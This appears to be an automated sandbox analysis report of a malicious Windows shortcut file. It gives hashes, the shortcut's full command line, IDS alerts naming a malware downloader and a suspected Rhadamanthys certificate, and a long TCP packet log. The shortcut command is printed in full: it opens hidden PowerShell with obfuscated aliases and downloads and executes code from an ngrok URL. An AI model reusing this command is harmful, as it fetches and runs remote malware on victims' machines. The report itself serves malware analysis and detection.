File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=11, Archive, ctime=Thu Nov 28 22:32:21 2024, mtime=Sun Dec 1 16:36:54 2024, atime=Thu Nov 28 22:32:21 2024, length=289792, window=hide
Entropy (8bit):	3.730283288317658
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	IIC0XbKFjS.lnk
File size:	2'614 bytes
MD5:	49762c491b56e899a9d314d3260834e4
SHA1:	999198469e4f0cf6186779655b0231bb7225f5ae
SHA256:	39c977bba06879b884082e63185eb698c4512a6af48b9dc23cda346d7d91ce44
SHA512:	383250c1377ae51fd80ac2cf9d80880095292280862062d26b291ade8cec1d1e95305bf2f5b47ccb45ff90a71ac41efbc0310a536c9e21dc4a619e42ca02c4e2
SSDEEP:	48:8GIgax4PsU/uWW4/4RnBryArsGd0lL4XuH4Xv3SsgoQYk:8fgaxEs2uWWICWArsdl2uWvZg5Y
TLSH:	4351DF252BD81735F3F34E3689B7B2518A7BFD46AC224F6D004042880C62B15DC75F2B
File Content Preview:	L..................F.@.. ....Q...A.......D.......A...l......................5....P.O. .:i.....+00.../C:\...................V.1......Y'...Windows.@........OwH.Y(...........................-...W.i.n.d.o.w.s.....Z.1......Y)...System32..B........OwH.YI.......

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\cmd.exe
Command Line Argument:	/c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T12:13:23.791057+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49758	162.125.65.18	443	TCP
2024-12-17T12:13:39.559507+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49858	162.125.65.18	443	TCP
2024-12-17T12:14:45.485008+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	104.161.43.18	2845	192.168.2.6	50020	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:12:59.522197008 CET	49672	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:12:59.741848946 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:12:59.741866112 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:12:59.741882086 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:12:59.741991997 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:12:59.742001057 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:12:59.742050886 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:12:59.746651888 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:12:59.867774963 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.301989079 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.306303024 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:00.306427956 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:00.306427956 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:00.426094055 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.426383018 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.426414967 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.859472036 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:00.912698984 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:01.102580070 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:01.147063017 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:01.294395924 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:01.309833050 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:01.429642916 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:01.863365889 CET	443	49708	20.198.119.143	192.168.2.6
Dec 17, 2024 12:13:01.912920952 CET	49708	443	192.168.2.6	20.198.119.143
Dec 17, 2024 12:13:03.333302975 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:03.333349943 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:03.333439112 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:03.334028006 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:03.334044933 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:05.571166992 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:05.571265936 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:05.575031042 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:05.575062037 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:05.575352907 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:05.577722073 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:05.577807903 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:05.577821016 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:05.577987909 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:05.619329929 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:06.175662994 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:06.175734997 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:06.175806999 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:06.178107023 CET	49713	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:06.178138971 CET	443	49713	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:07.928312063 CET	49674	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:08.053328991 CET	49673	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:08.516959906 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:08.517014027 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:08.517098904 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:08.532244921 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:08.532268047 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:09.162664890 CET	49672	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:09.938353062 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:09.938518047 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:09.944397926 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:09.944411993 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:09.944782972 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:09.952790976 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:09.995348930 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:11.473229885 CET	443	49702	173.222.162.64	192.168.2.6
Dec 17, 2024 12:13:11.475414991 CET	49702	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:12.115155935 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:12.115325928 CET	443	49715	3.125.102.39	192.168.2.6
Dec 17, 2024 12:13:12.115398884 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:12.170228958 CET	49715	443	192.168.2.6	3.125.102.39
Dec 17, 2024 12:13:12.507844925 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:12.507889032 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:12.508055925 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:12.508580923 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:12.508594990 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:13.875030994 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:13.875101089 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:13.883344889 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:13.883359909 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:13.883687019 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:13.885327101 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:13.927326918 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:14.505706072 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.505753040 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.506030083 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.520256996 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.520318985 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.520389080 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.521429062 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.521459103 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.522373915 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.529074907 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.529090881 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.529180050 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.530132055 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.530148029 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.530261040 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.614221096 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.614248991 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.629772902 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.629806042 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.629971981 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.629986048 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.718166113 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.718182087 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.805973053 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:14.805999041 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:14.934412956 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:14.934519053 CET	443	49725	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:14.934544086 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:14.934679031 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:14.990645885 CET	49725	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:15.239969969 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:15.240017891 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:15.240283012 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:15.240937948 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:15.240951061 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:15.310668945 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:15.310719013 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:15.310818911 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:15.311142921 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:15.311160088 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.145030975 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.145157099 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.157113075 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.157124996 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.157216072 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.157883883 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214122057 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214160919 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.214354038 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214382887 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.214504957 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.214543104 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214622021 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214729071 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.214795113 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.214795113 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.215342999 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.215353012 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.215662956 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.215723991 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.215723991 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.242527008 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.242657900 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.245556116 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.245568991 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.245836020 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.245874882 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.245903969 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.259327888 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.259335995 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.259340048 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.291337967 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.339663982 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.339787006 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.343173027 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.343187094 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.343395948 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.343406916 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.343462944 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.343563080 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.651887894 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.651921034 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.651988983 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.652009010 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.652079105 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.669598103 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.669621944 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.669636965 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.669667006 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.669682026 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.669718027 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.669769049 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.673115015 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.673139095 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.673155069 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.673186064 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.673213005 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.673242092 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.673288107 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.758945942 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.759035110 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:16.759059906 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.759145021 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:16.759202957 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.759222984 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.759238958 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.759309053 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.759309053 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.759327888 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.759429932 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.762680054 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:16.762687922 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.762938976 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.765077114 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:16.811333895 CET	443	49737	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:16.848082066 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.848113060 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.848165989 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.848187923 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.848256111 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.863332987 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.863363981 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.863380909 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.863406897 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.863425970 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.863473892 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.863535881 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.871956110 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.871984005 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.872050047 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.872066021 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.872123957 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.877547026 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.877574921 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.877639055 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.877676964 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.877702951 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.877743006 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.891120911 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.891151905 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.891205072 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.891223907 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.891272068 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.911725998 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.911755085 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.911812067 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.911839962 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.911870956 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.911892891 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.913276911 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.913299084 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.913369894 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.913386106 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.913454056 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.948218107 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.948249102 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.948335886 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:16.948348999 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:16.948402882 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.005616903 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.005644083 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.005738020 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.005750895 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.005815983 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.013418913 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.013444901 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.013529062 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.013550997 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.013622046 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.017508984 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.017537117 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.017658949 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.017658949 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.017673016 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.017812014 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.039921999 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.039940119 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.039999008 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.040015936 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.040049076 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.040071964 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.041748047 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.041778088 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.041881084 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.041987896 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.041996956 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.042052984 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.042924881 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.042952061 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.043000937 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.043010950 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.043061018 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.043090105 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.055955887 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.055982113 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.056173086 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.056185961 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.056420088 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.066905975 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.066931963 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.067022085 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.067044973 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.067102909 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.068380117 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.068408966 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.068483114 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.068490982 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.068543911 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.073841095 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.073863029 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.073952913 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.073982954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.074035883 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.087577105 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.087599993 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.087675095 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.087696075 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.087786913 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.093929052 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.093966961 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.094031096 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.094053984 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.094084978 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.094115019 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.096436977 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.096462011 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.096535921 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.096565008 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.096620083 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.113823891 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.113857985 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.113917112 CET	49735	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:17.113950014 CET	443	49735	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:17.113984108 CET	49735	443	192.168.2.6	150.171.27.10
